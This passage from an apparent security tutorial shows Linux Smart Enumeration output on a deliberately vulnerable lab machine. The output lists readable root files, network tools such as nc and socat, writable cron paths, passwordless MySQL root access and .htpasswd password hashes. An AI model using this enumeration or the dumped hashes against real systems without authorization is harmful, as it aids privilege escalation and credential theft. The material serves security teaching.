[*] fst070 Can we read /root?.............................................. yes!
---
total 84K
drwxr-xr-x 13 root root 4.0K Jun 19 13:21 .
drwxr-xr-x 21 root root 4.0K Jun 19  2019 ..
-rw-------  1 root root  324 Jun 19 13:21 .Xauthority
-rw-r--r--  1 root root  173 Jun 19  2019 .bash_history
-rw-r--r--  1 root root 2.2K Oct 20  2007 .bashrc
drwx------  3 root root 4.0K May 20  2012 .config
drwx------  2 root root 4.0K May 20  2012 .filezilla
drwxr-xr-x  5 root root 4.0K Jun 19 13:22 .fluxbox
drwx------  2 root root 4.0K May 20  2012 .gconf
drwx------  2 root root 4.0K May 20  2012 .gconfd
drwxr-xr-x  2 root root 4.0K May 20  2012 .gstreamer-0.10
drwx------  4 root root 4.0K May 20  2012 .mozilla
-rw-------  1 root root  215 Jun 19 13:46 .mysql_history
-rw-r--r--  1 root root  141 Oct 20  2007 .profile
drwx------  5 root root 4.0K May 20  2012 .purple
-rwx------  1 root root    4 May 20  2012 .rhosts
drwxr-xr-x  2 root root 4.0K May 20  2012 .ssh
drwx------  2 root root 4.0K Jun 19 13:21 .vnc
drwxr-xr-x  2 root root 4.0K May 20  2012 Desktop
-rwx------  1 root root  401 May 20  2012 reset_logs.sh
-rw-r--r--  1 root root  138 Jun 19 13:22 vnc.log
---
[*] fst080 Can we read subdirectories under /home?......................... yes!
---
total 8
drwxr-xr-x 2 root nogroup 4096 Mar 17  2010 .
drwxr-xr-x 7 root root    4096 Jun 19 13:38 ..
total 36
drwxr-xr-x 5 msfadmin msfadmin 4096 Jun  6  2018 .
drwxr-xr-x 7 root     root     4096 Jun 19 13:38 ..
-rw------- 1 msfadmin msfadmin    0 Jun  6  2018 .Xauthority
lrwxrwxrwx 1 root     root        9 May 14  2012 .bash_history -> /dev/null
drwxr-xr-x 4 msfadmin msfadmin 4096 Apr 17  2010 .distcc
-rw------- 1 root     root     4174 May 14  2012 .mysql_history
-rw-r--r-- 1 msfadmin msfadmin  586 Mar 16  2010 .profile
-rwx------ 1 msfadmin msfadmin    4 May 20  2012 .rhosts
drwx------ 2 msfadmin msfadmin 4096 May 17  2010 .ssh
-rw-r--r-- 1 msfadmin msfadmin    0 May  7  2010 .sudo_as_admin_successful
drwxr-xr-x 6 msfadmin msfadmin 4096 Apr 27  2010 vulnerable
total 28
drwxr-xr-x 3 nullbyte nullbyte 4096 Jun 19 13:58 .
drwxr-xr-x 7 root     root     4096 Jun 19 13:38 ..
-rw------- 1 nullbyte nullbyte  815 Jun 19  2019 .bash_history
-rw-r--r-- 1 nullbyte nullbyte  220 Jun 19 13:38 .bash_logout
-rw-r--r-- 1 nullbyte nullbyte 2928 Jun 19 13:38 .bashrc
-rw-r--r-- 1 nullbyte nullbyte  586 Jun 19 13:38 .profile
drwx------ 2 nullbyte nullbyte 4096 Jun 19  2019 .ssh
total 20
drwxr-xr-x 2 service service 4096 Apr 16  2010 .
drwxr-xr-x 7 root    root    4096 Jun 19 13:38 ..
-rw-r--r-- 1 service service  220 Apr 16  2010 .bash_logout
-rw-r--r-- 1 service service 2928 Apr 16  2010 .bashrc
-rw-r--r-- 1 service service  586 Apr 16  2010 .profile
total 28
drwxr-xr-x 3 user user 4096 May  7  2010 .
drwxr-xr-x 7 root root 4096 Jun 19 13:38 ..
-rw------- 1 user user  165 May  7  2010 .bash_history
-rw-r--r-- 1 user user  220 Mar 31  2010 .bash_logout
-rw-r--r-- 1 user user 2928 Mar 31  2010 .bashrc
-rw-r--r-- 1 user user  586 Mar 31  2010 .profile
drwx------ 2 user user 4096 May  7  2010 .ssh
---
[*] fst090 SSH files in home directories................................... yes!
---
-rw-r--r-- 1 root root 442 May 20  2012 /root/.ssh/known_hosts
-rw-r--r-- 1 root root 405 May 17  2010 /root/.ssh/authorized_keys

Next, we get a list of useful binaries installed on the machine. These are generally any programs useful for transferring files or compiling exploits.

[*] fst100 Useful binaries................................................. yes!
---
/usr/bin/curl
/usr/bin/dig
/usr/bin/gcc
/bin/nc
/bin/netcat
/usr/bin/nmap
/usr/bin/socat
/usr/bin/wget

A little further down we get information about any cron jobs running on the box.

---
/etc/crontab:SHELL=/bin/sh
/etc/crontab:PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
/etc/crontab:17 *       * * *   root    cd / && run-parts --report /etc/cron.hourly
/etc/crontab:25 6       * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
/etc/crontab:47 6       * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
/etc/crontab:52 6       1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
/etc/cron.d/php5:09,39 *     * * *     root   [ -x /usr/lib/php5/maxlifetime ] && [ -d /var/lib/php5 ] && find /var/lib/php5/ -depth -mindepth 1 -maxdepth 1 -type f -cmin +$(/usr/lib/php5/maxlifetime) -delete
/etc/cron.d/postgresql-common:2 0,5,10,15,20 * * 1-6 root if [ -x /usr/sbin/pg_maintenance ]; then /usr/sbin/pg_maintenance --analyze >/dev/null; fi
---
[*] ret030 Can we read user crontabs....................................... nope
[*] ret040 Can we list other user cron tasks?.............................. nope
[*] ret050 Can we write to any paths present in cron jobs.................. yes!
---
/dev/null
/dev/urandom
/var/cache/apache2/mod_disk_cache
/var/lib/php5
/var/lib/php5/
---
[!] ret060 Can we write to executable paths present in cron jobs........... yes!
---
/etc/cron.d/php5:09,39 *     * * *     root   [ -x /usr/lib/php5/maxlifetime ] && [ -d /var/lib/php5 ] && find /var/lib/php5/ -depth -mindepth 1 -maxdepth 1 -type f -cmin +$(/usr/lib/php5/maxlifetime) -delete
/etc/cron.d/php5:09,39 *     * * *     root   [ -x /usr/lib/php5/maxlifetime ] && [ -d /var/lib/php5 ] && find /var/lib/php5/ -depth -mindepth 1 -maxdepth 1 -type f -cmin +$(/usr/lib/php5/maxlifetime) -delete

There is also a networking section that shows any services listening on localhost — this is another good section to keep an eye on for things like MySQL or other custom applications that are only listening locally.

[*] net000 Services listening only on localhost............................ yes!
---
tcp    0      3                   127.0.0.1:53                         *:*
tcp    0      128                 127.0.0.1:953                        *:*
---
[!] net010 Can we sniff traffic with tcpdump?.............................. nope
[i] net500 NIC and IP information.......................................... skip
[i] net510 Routing table................................................... skip
[i] net520 ARP table....................................................... skip
[i] net530 Namerservers.................................................... skip
[i] net540 Systemd Nameservers............................................. skip
[i] net550 Listening TCP................................................... skip
[i] net560 Listening UDP................................................... skip

Next, we check whether we can connect to MySQL as root with no password, and subsequently a little more information about the database.

[!] sof000 Can we connect to MySQL with root/root credentials?............. nope
[!] sof010 Can we connect to MySQL as root without password?............... yes!
---
mysqladmin  Ver 8.41 Distrib 5.0.51a, for debian-linux-gnu on i486
Copyright (C) 2000-2006 MySQL AB
This software comes with ABSOLUTELY NO WARRANTY. This is free software,
and you are welcome to modify and redistribute it under the GPL license

Server version          5.0.51a-3ubuntu5
Protocol version        10
Connection              Localhost via UNIX socket
UNIX socket             /var/run/mysqld/mysqld.sock
Uptime:                 1 hour 21 min 35 sec

The next section lists any htpasswd files it discovers.

[!] sof040 Found any .htpasswd files?...................................... yes!
---
/home/msfadmin/vulnerable/twiki20030201/twiki-source/data/.htpasswd
TWikiGuest:zK.G.uuPi39Qg
PeterThoeny:CQdjUgwC6YckI
NicholasLee:h3i.9AzGUn4tQ
AndreaSterbini:zuUMZlkXvUR6Y
JohnTalintyre:2fl31yuNhvMrU
MikeMannix:euHykHV5Q2miA
RichardDonkin:pAVoSPpUf3xt2
GrantBow:EI7XT7IJJV40A
/var/www/twiki/data/.htpasswd
TWikiGuest:zK.G.uuPi39Qg
PeterThoeny:CQdjUgwC6YckI
NicholasLee:h3i.9AzGUn4tQ
AndreaSterbini:zuUMZlkXvUR6Y
JohnTalintyre:2fl31yuNhvMrU
MikeMannix:euHykHV5Q2miA
RichardDonkin:pAVoSPpUf3xt2
GrantBow:EI7XT7IJJV40A

After that, LSE checks for information involving containers, like docker or lxc. This can sometimes be an easy path to root if things are configured incorrectly.

=============================================================( containers )=====
[*] ctn000 Are we in a docker container?................................... nope
[*] ctn010 Is docker available?............................................ nope
[!] ctn020 Is the user a member of the 'docker' group?..................... nope
[*] ctn200 Are we in a lxc container?...................................... nope
[!] ctn210 Is the user a member of any lxc/lxd group?...................... nope

The next section shows any processes running with root permissions, including their PID, start time, and relevant command.

[*] pro020 Processes running with root permissions......................... yes!
---
START      PID     USER COMMAND
13:22     4703     root -bash
13:22     4669     root fluxbox
13:22     4666     root xterm -geometry 80x24+10+10 -ls -title X Desktop
13:22     4663     root /bin/sh /root/.vnc/xstartup
13:22     4658     root /usr/bin/unrealircd

...

Finally, the last section shows processes running as other users.

[*] pro030 Processes running by non-root users with shell.................. yes!
---

------ daemon ------

START      PID     USER COMMAND
13:21     4558   daemon /usr/sbin/atd
13:21     4478   daemon distccd --daemon --user daemon --allow 0.0.0.0/0
13:21     4434   daemon distccd --daemon --user daemon --allow 0.0.0.0/0
13:21     4349   daemon distccd --daemon --user daemon --allow 0.0.0.0/0
13:21     4348   daemon distccd --daemon --user daemon --allow 0.0.0.0/0
13:21     3718   daemon /sbin/portmap

------ www-data ------

START      PID     USER COMMAND
14:43    19597 www-data sleep 1
14:43    19569 www-data sleep 1
14:43    19542 www-data sleep 1
14:43    19516 www-data sleep 1
14:43    19490 www-data sleep 1
14:43    19463 www-data sleep 1
14:43    19436 www-data sleep 1
14:43    19407 www-data sleep 1
14:43    19378 www-data sleep 1
14:43    19353 www-data sleep 1
14:43    19326 www-data sleep 1
14:43    19297 www-data sleep 1
14:43    19270 www-data sleep 1
14:43    19244 www-data sleep 1
14:43    19218 www-data sleep 1
14:43    19191 www-data sleep 1
14:43    19166 www-data sleep 1
14:43    19139 www-data sleep 1
14:43    19138 www-data bash lse.sh -l 1
14:43    19130 www-data /bin/sh /usr/bin/groups

...

Wrapping Up

In this tutorial, we explored Linux Smart Enumeration, a script used to discover potential paths to privilege escalation. First, we got set up and transferred our script to the target. Next, we covered some of the features of LSE, including verbosity level, path exclusion, and the process monitor. Lastly, we went over the results of a full scan and what the different sections meant for privilege escalation.

Just updated your iPhone to iOS 18? You'll find a ton of hot new features for some of your most-used Apple apps. Dive in and see for yourself:

Cover image by Dries Augustyns/Pexels

Be the First to Comment

Share Your Thoughts

  • Hot
  • Latest